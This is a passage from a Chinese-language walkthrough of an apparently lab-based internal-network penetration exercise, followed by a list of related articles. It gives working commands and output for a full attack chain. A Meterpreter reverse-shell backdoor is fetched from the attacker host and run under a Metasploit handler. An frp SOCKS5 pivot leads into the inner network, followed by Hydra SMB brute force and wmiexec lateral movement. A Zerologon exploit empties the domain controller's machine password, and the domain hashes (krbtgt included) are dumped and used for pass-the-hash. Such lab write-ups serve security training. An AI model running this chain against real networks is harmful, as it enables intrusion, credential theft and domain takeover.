    • 含义 : 生成的 shell.elf 文件非常小,它只是一个"引导程序"。当它在目标机器上执行时,会主动连接攻击机(192.168.59.128:4444),然后从攻击机下载并注入完整的、功能强大的 Meterpreter 载荷。

  • 成功命令:linux/x64/meterpreter_reverse_tcp

    • 这是一个无阶段 的载荷。

    • 特别之处 : 生成的 meterpreter_nostaged_x64.elf 文件是一个完整的、自包含的 后门程序。它已经将 反向连接器和整个 Meterpreter 载荷都包含在同一个文件中。执行后,它会直接与攻击机建立连接并提供一个功能完整的 Meterpreter 会话,无需额外的网络通信来下载第二阶段载荷。

2、下载木马文件

在 meterpreter_nostaged_x64.elf的目录中执行python3 -m http.server 8888。

Web服务器wget工具下载Kali攻击机生成的木马文件meterpreter_nostaged_x64.elf。

复制代码
​wget http://192.168.59.128:8888/meterpreter_nostaged_x64.elf    

3、MSF监听

MSF开启监听,特别注意payload要与木马一致( linux/x64/meterpreter_reverse_tcp),具体配置如下所示。

复制代码
msfconsole                                         
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set LHOST 192.168.59.128
set LPORT 4444
set ExitOnSession false
exploit -j

4、执行msf.elf

特别注意,这里要使用提权后的账户执行MSF生成的木马。如下就是使用wwwuser执行命令,应该使用firefart账户执行。

5、MSF监听成功

回到kali攻击机的MSF监听页面,此时已经监听成功。

六、Fscan探测

这一步需要打开三个windows虚拟机,用于内网横向移动进行渗透测试

1、上传fscan

在攻击机的http网站根目录放入fscan文件,在Web服务器中使用wget命令下载fscan文件。

复制代码
wget http://192.168.59.128:8888/fscan_amd64

2、fscan探测

通过ifconfig可以获知另一个子网为192.168.93.0/24。

复制代码
chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.93.0/24

如下所示发现192.168.93.0/24网段中存活的非kali攻击机、我们没有获取到权限的Web服务器外,还有三台设备192.168.93.10和192.168.93.20和192.168.93.30。

复制代码
./fscan_amd64 -h 192.168.93.10,192.168.93.20,192.168.93.30

通过扫描我们发现这三台设备的10、20、30的445端口均开放,分别为Window Server 2012服务器、Windows 7系统、Windows Server2008服务器。

七、frp代理配置

1、原理详解

我们计划Kali攻击机(192.168.59.128)上创建了一个端口为12347的Socks5代理,通过跳板机(外网ip为192.168.59.188,内网ip为192.168.93.100)作为中转,使攻击者能通过代理直接访问192.168.93.0/24内网资源。

  • Kali(192.168.59.128)作为FRP服务器与攻击控制中心
  • 跳板机(192.168.59.188)作为FRP客户端与流量中转站,实现对192.168.93.0/24内网访问

**攻击机(Kali)**的代理工作流程具体如下所示。

  • 服务启动与通道建立

    • 攻击机上的 frps 监听 7000 端口。

    • 跳板机上的 frpc 主动连接到攻击机的 7000 端口,建立控制通道 ,并注册 socks5服务。

  • 代理服务暴露

    • frps 在攻击机本地成功开启 SOCKS5代理服务 ,监听 12347 端口。
  • 数据流(内网渗透)

    • 攻击机上的攻击工具 (如nmap)配置proxychains SOCKS5 代理为 127.0.0.1:12347

    • 当工具访问内网目标(如 192.168.93.10)时,流量被发送到本地的 12347 端口。

    • frps 通过已建立的控制通道,将流量转发给跳板机上的 frpc。

    • frpc 最终以跳板机的身份,直接访问内网目标,并将响应数据沿原路返回给攻击工具

      flowchart LR
      subgraph A [攻击机 Kali
      192.168.59.128]
      direction TB
      A1[攻击工具
      浏览器/扫描器]
      A2[frps
      7000端口]
      A3[SOCKS5代理服务
      12347端口]

      复制代码
          A1 -- "配置代理: 127.0.0.1:12347" --> A3
          A3 -- "数据转发" --> A2
      end
      
      B[跳板机<br>192.168.59.188<br>运行frpc]
      
      C[内网设备<br>192.168.93.0/24]
      
      A -- "1. 建立控制通道<br>7000端口" --> B
      B -- "2. 发起内网访问" --> C

2、服务器(KALI攻击机)

  • 核心角色:FRP服务端,用于接收和管理客户端连接。

  • 监听端口7000,负责与FRP客户端建立控制通道。

  • 启动命令./frps -c frps.ini,运行FRP服务端程序。

  • 功能:认证并维持与跳板机的稳定连接,为后续代理转发提供基础。

(1)配置文件frps.ini

|-----------------|
| bindPort = 7000 |

(2)kali执行frps

./frps -c frps.ini

3、客户端(Web跳板机)

  • 核心角色:FRP客户端与服务提供端。

  • 连接配置 :指向Kali服务器(server_addr = 192.168.59.128:7000)。

  • 服务定义 :创建了一个名为 [socks5] 的代理服务。

    • 类型type = tcp

    • 出口端口remote_port = 12347,在Kali服务器上开启的Socks5代理服务端口。

    • 插件plugin = socks5,直接提供Socks5代理协议支持。

  • 功能:在Kali的12347端口上暴露一个Socks5代理,所有发往该端口的流量都会被加密转发至跳板机,并由跳板机转发至其所在的内网(192.168.93.0/24)。

(1)配置文件frpc.ini

|----------------------------------------------------------------------------------------------------------------------|
| [common] server_addr = 192.168.59.128 server_port = 7000 [socks5] type = tcp remote_port = 12347 plugin = socks5 |

(2)Web服务器下载frpc文件

Kali攻击机在frpc的目录中开启http服务(或者将frpc和frpc.ini文件放入到已经开启的Web服务根目录中也可以),Web服务器下载frpc和frpc.ini文件,具体如下所示。

复制代码
wget http://192.168.59.128:8888/frpc
wget http://192.168.59.128:8888/frpc.ini

(3)Web服务器执行frpc

./frpc -c frpc.ini&

4、Kali配置proxychains

配置proxychains文件使用socks5 0.0.0.0 12347代理,该配置指示proxychains工具将所有网络流量通过位于本机所有接口上的SOCKS5代理服务器(端口12347)进行转发,实现网络访问的匿名化与流量路由,用于连接内网192.168.93.0/24网段。

socks5 0.0.0.0 12347

八、SMB爆破(域成员)

1、探测SMB

使用Metasploit框架中的SMB版本扫描模块,对192.168.93.10到192.168.93.30这个IP范围内的所有主机进行扫描,目的是探测和识别这些主机的SMB服务版本信息、操作系统类型、主机名、域信息等详细指纹信息。

复制代码
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.10-30
run

运行结果如下所示,根据扫描结果,网络中存在三台Windows主机,192.168.93.20(Windows Server 2008 SP2)、192.168.93.30(Windows 7 SP1)、192.168.93.10(Windows Server 2012 R2)。

复制代码
[*] 192.168.93.10:445     - SMB Detected (versions:1, 2, 3) (preferred dialect:SMB 3.0.2) (signatures:required) (uptime:47m 16s) (guid:{7130fc44-65bc-44e6-8bc7-afd0ff0bc450}) (authentication domain:TEST)
[+] 192.168.93.10:445     -   Host is running Windows 2012 R2 Datacenter (build:9600) (name:WIN-8GA56TNV3MV) (domain:TEST)
[*] 192.168.93.10-30:     - Scanned  3 of 21 hosts (14% complete)
[*] 192.168.93.10-30:     - Scanned  5 of 21 hosts (23% complete)
[*] 192.168.93.10-30:     - Scanned  7 of 21 hosts (33% complete)
[*] 192.168.93.10-30:     - Scanned  9 of 21 hosts (42% complete)
[*] 192.168.93.20:445     - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.0.2) (signatures:optional) (uptime:302w 6d 22h 0m 9s) (guid:{f9644969-0bf4-48c7-ab87-58ba8044ed81})
[+] 192.168.93.20:445     -   Host is running Windows 2008 Datacenter SP2 (build:6003) (name:WIN2008) (domain:TEST)
[*] 192.168.93.10-30:     - Scanned 11 of 21 hosts (52% complete)
[*] 192.168.93.10-30:     - Scanned 13 of 21 hosts (61% complete)
[*] 192.168.93.10-30:     - Scanned 15 of 21 hosts (71% complete)
[*] 192.168.93.10-30:     - Scanned 17 of 21 hosts (80% complete)
[*] 192.168.93.10-30:     - Scanned 19 of 21 hosts (90% complete)
[*] 192.168.93.30:445     - SMB Detected (versions:1, 2) (preferred dialect:SMB 2.1) (signatures:optional) (uptime:309w 2d 18h 47m 41s) (guid:{5cc9a08c-4395-4e1d-95be-f93ec2195144}) (authentication domain:TEST)
[+] 192.168.93.30:445     -   Host is running Windows 7 Professional SP1 (build:7601) (name:WIN7) (domain:TEST)
[*] 192.168.93.10-30:     - Scanned 21 of 21 hosts (100% complete)

(1)目标1: 192.168.93.10 - Windows Server 2012 R2

复制代码
- 系统: Windows 2012 R2 Datacenter (build 9600)
- SMB版本: 1, 2, 3 (首选SMB 3.0.2)
- 签名: 必需 (required)
- 运行时间: 47分钟 (可能是新启动的)
- 域名: TEST

(2)目标2: 192.168.93.20 - Windows Server 2008

复制代码
- 系统: Windows 2008 Datacenter SP2 (build 6003)
- SMB版本: 1, 2 (首选SMB 2.0.2) 
- 签名: 可选 (optional) - 更容易攻击!
- 运行时间: 302周 (系统很久没重启)
- 域名: TEST

(3)目标3: 192.168.93.30 - Windows 7

复制代码
- 系统: Windows 7 Professional SP1 (build 7601)
- SMB版本: 1, 2 (首选SMB 2.1)
- 签名: 可选 (optional) - 更容易攻击!
- 运行时间: 309周 (系统很久没重启)
- 域名: TEST

2、构造密码字典

构造密码字典,使用top1000.txt,哈哈,本关卡要想爆破成功,需要至少包含红框内的密码123qwe!ASD,没有的话会导致10和30爆破失败。

将top1000.txt密码字典放入kali linux的当前terminal的目录中。

3、爆破SMB密码

(1)爆破192.168.93.20(WinServer 2008)

通过proxychains代理隧道调用Hydra密码破解工具,使用top1000.txt字典中的密码对内网主机192.168.93.20的SMB服务进行暴力破解,针对administrator账户实施身份验证攻击,以获取该系统的登录凭证。

proxychains -q hydra -l administrator -P top1000.txt smb://192.168.93.20

发现密码为123qwe!ASD,具体如下所示。

(2)爆破192.168.93.30(PC Win7)

通过proxychains代理隧道调用Hydra密码破解工具,使用top1000.txt字典中的密码对内网主机192.168.93.30的SMB服务进行暴力破解,针对administrator账户实施身份验证攻击,以获取该系统的登录凭证。

proxychains -q hydra -l administrator -P top1000.txt smb://192.168.93.30

发现密码为123qwe!ASD,具体如下所示。

(3)爆破192.168.93.10(WinServer 2012)

通过proxychains代理隧道调用Hydra密码破解工具,使用top1000.txt字典中的密码对内网主机192.168.93.10的SMB服务进行暴力破解,针对administrator账户实施身份验证攻击,以获取该系统的登录凭证。但是本次探测失败,没有找到密码。

proxychains -q hydra -l administrator -P top1000.txt smb://192.168.93.10。

九、横向渗透

1、Wmiexec横向移动192.168.93.30(PC Win7)

通过proxychains4代理隧道调用Impacket工具集中的wmiexec.py脚本,使用获取的凭证(administrator:123qwe!ASD)通过Windows管理规范协议与内网主机192.168.93.20建立带调试信息的远程命令行会话,实现无需上传恶意文件的内网横向移动,如下所示渗透成功。

proxychains4 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.30'

2、Wmiexec横向移动192.168.93.20(WinServer2008)

通过proxychains4代理隧道调用Impacket工具集中的wmiexec.py脚本,使用获取的凭证(administrator:123qwe!ASD)通过Windows管理规范协议与内网主机192.168.93.20建立带调试信息的远程命令行会话,实现无需上传恶意文件的内网横向移动,如下所示渗透成功。

proxychains4 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

3、zerologon渗透域控192.168.93.10

(1)探测漏洞

根据30上执行结果,可知域名为test,域控为WIN-8GA56TNV3MV (IP: 192.168.93.10)

(2)置空密码

复制代码
proxychains -q python set_empty_pw.py WIN-8GA56TNV3MV 192.168.93.10 

|---|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---|
| |
| | ┌──(kali㉿kali)-[~/Desktop/zerologon] └─ proxychains -q python set_empty_pw.py WIN-8GA56TNV3MV 192.168.93.10 Performing authentication attempts... NetrServerAuthenticate3Response ServerCredential: Data: b's\\xec}\\x8e\\x99\\xde\\x1d\\xf4' NegotiateFlags: 556793855 AccountRid: 1001 ErrorCode: 0 server challenge b's\\xe4{f\\xcc\\xab\\x99\\xa8' NetrServerPasswordSet2Response ReturnAuthenticator: Credential: Data: b'\\x01\\x04\\x9d-\xc2y\x05' Timestamp: 0 ErrorCode: 0 Success! DC should now have the empty string as its machine password. | |

(3)打印哈希

复制代码
proxychains -q  secretsdump.py -no-pass -just-dc test/WIN-8GA56TNV3MV$\@192.168.93.10(linux系统)

|---|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---|
| | └─ proxychains -q secretsdump.py -no-pass -just-dc test/WIN-8GA56TNV3MV\@192.168.93.10 /usr/lib/python3/dist-packages/pkg_resources/init.py:116: PkgResourcesDeprecationWarning: 1.12.1-git20200711.33e2d80-dfsg1-0.6 is an invalid version and will not be supported in a future release warnings.warn( /usr/lib/python3/dist-packages/pkg_resources/init.py:116: PkgResourcesDeprecationWarning: 1.16.0-unknown is an invalid version and will not be supported in a future release warnings.warn( Impacket v0.13.0.dev0+20250717.50134.1f00d556 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:571bcade06358cf8ea77e8418e857355::: test.org\win7:1104:aad3b435b51404eeaad3b435b51404ee:a06b39f8847369f7542bfdc821f559c1::: test.org\win2008:1105:aad3b435b51404eeaad3b435b51404ee:a06b39f8847369f7542bfdc821f559c1::: WIN-8GA56TNV3MV:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WIN2008:1106:aad3b435b51404eeaad3b435b51404ee:c47b1f47431b259861e615472864c698::: WIN7:1107:aad3b435b51404eeaad3b435b51404ee:ccebf3bb47b3c8b7605ffa55aacf3bae::: \[\*\] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:eede88728a78032cf9f5ca18c315f190348890da2ec5d433e66200a87cf826b0 Administrator:aes128-cts-hmac-sha1-96:576e4a136133e69e019b4fa2db8f7de1 Administrator:des-cbc-md5:e93e94192a8f236b krbtgt:aes256-cts-hmac-sha1-96:6ad4f1e53f2b19a874201fbf002c9b1895c05cdbf418052601f282ccaba34500 krbtgt:aes128-cts-hmac-sha1-96:25dcb51ac50803a0bd4d93549b07d9ca krbtgt:des-cbc-md5:c275c27a45a2757c test.org\\win7:aes256-cts-hmac-sha1-96:db6b997b316503f887492885d0610a3fc5aa3a20c181f675fc918e167ca9a73a test.org\\win7:aes128-cts-hmac-sha1-96:ae208f45cc3723ff7b6720284173c61b test.org\\win7:des-cbc-md5:6eb3cb707f75cd1f test.org\\win2008:aes256-cts-hmac-sha1-96:b18a1fe3050c99ac441aae11fb4943951496857f569cb390dbd733278b4f258f test.org\\win2008:aes128-cts-hmac-sha1-96:3f3d51fc133d11577bbd1d091a49ca9b test.org\\win2008:des-cbc-md5:85bc2623b90738ea WIN-8GA56TNV3MV:aes256-cts-hmac-sha1-96:f87e2e3ecde86f8cdc5d8e6daa473017e77d20a4a8b36c0474042971f6351c90 WIN-8GA56TNV3MV:aes128-cts-hmac-sha1-96:ddba0f36c666f0599097ebc032eaeee7 WIN-8GA56TNV3MV:des-cbc-md5:46c2f2feabe0e38a WIN2008:aes256-cts-hmac-sha1-96:b2f49e27d19765f2853c261a3fcfd52de8fec3969fed71d1a70c11475eb00016 WIN2008:aes128-cts-hmac-sha1-96:a82e48cb161c634bc30a0c1ad4733cfb WIN2008:des-cbc-md5:df6b0e5dd35e735b WIN7:aes256-cts-hmac-sha1-96:f9497f453425611e8d6d9762fa99dae808c67ccd545876992ecde3f87dc7cd17 WIN7:aes128-cts-hmac-sha1-96:34c7c3f435df4ecb15dfdd0aeb578efe WIN7:des-cbc-md5:3d9dfe8f2f522fad [*] Cleaning up... | |
| |

复制代码
如下所示,成功获取到aministrator的ntlm值

Administrator:500:aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97:::

复制代码
哈希值18edd0cc3227be3bf61ce198835a1d97

(4)PTH获取域控控制权限

proxychains -q wmiexec.py test/administrator@192.168.93.10 -hashes aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97

复制代码
如下所示,成功getshell.

(5)恢复密码

复制代码
proxychains -q python  reinstall_original_pw.py WIN-8GA56TNV3MV 192.168.93.10 aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97  
复制代码
proxychains -q python  reinstall_original_pw.py WIN-8GA56TNV3MV 192.168.93.10 aad3b435b51404eeaad3b435b51404ee:18edd0cc3227be3bf61ce198835a1d97 
Performing authentication attempts...
============================================================================================================================================================================================================================================================================================================================================================================================================================================================
NetrServerAuthenticate3Response 
ServerCredential:               
    Data:                            b'}\x05\x7f@\xd6tB\x1e' 
NegotiateFlags:                  556793855 
AccountRid:                      1001 
ErrorCode:                       0 


server challenge b'}\x87\x91\xd1"\x15>\xcf'
session key b'7\x9b\x85t\xea\x07\x16\xf0\xd6\xe8\x95N\x98\xa4"\x10'
Odd-length string

Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.
相关推荐
mooyuan天天3 天前
万字讲解内网横向渗透vulnstack(一):红日靶场1实战全流程3-横向移动(SMB监听法)
内网渗透·横向移动·红日靶场·smb监听
mooyuan天天4 天前
万字讲解内网横向渗透vulnstack(一):红日靶场1实战全流程1-环境搭建+CS上线Web服务+信息搜集
内网渗透·横向移动·phpmyadmin·红日靶场
mooyuan天天4 天前
万字讲解内网横向渗透vulnstack(一):红日靶场1实战全流程2-横向移动-永恒之蓝法(CVE-2017-0143)
内网渗透·fscan·永恒之蓝·红日靶场·横向渗透·cve-2017-0143
mooyuan天天5 天前
万字讲解内网横向渗透:vulnstack二(红日靶场2)实战全流程
内网渗透·横向移动·红日靶场2
mooyuan天天5 天前
万字讲解内网横向渗透vulnstack(二):红日靶场2实战全流程3(权限维持之黄金票据)
内网渗透·横向移动·黄金票据·kerberos认证·红日靶场2
mooyuan天天6 天前
万字讲解内网横向渗透vulnstack(二):红日靶场2实战全流程2(SMB中转法)
内网渗透·横向移动·红日靶场2
mooyuan天天6 天前
万字讲解内网横向渗透vulnstack(二):红日靶场2实战全流程1(TCP中转会话法 CVE-2020-2551)
内网渗透·横向移动·红日靶场2·weblogic漏洞·cve-2020-2551
mooyuan天天7 天前
万字讲解内网横向渗透vulnstack(五):红日靶场5实战全流程(CVE-2014-4113)
内网渗透·横向移动·红日靶场5
xing.yu.CTF11 天前
ATT&CK实战系列--蓝队防御(三)
网络·安全·web安全·横向移动·内网对抗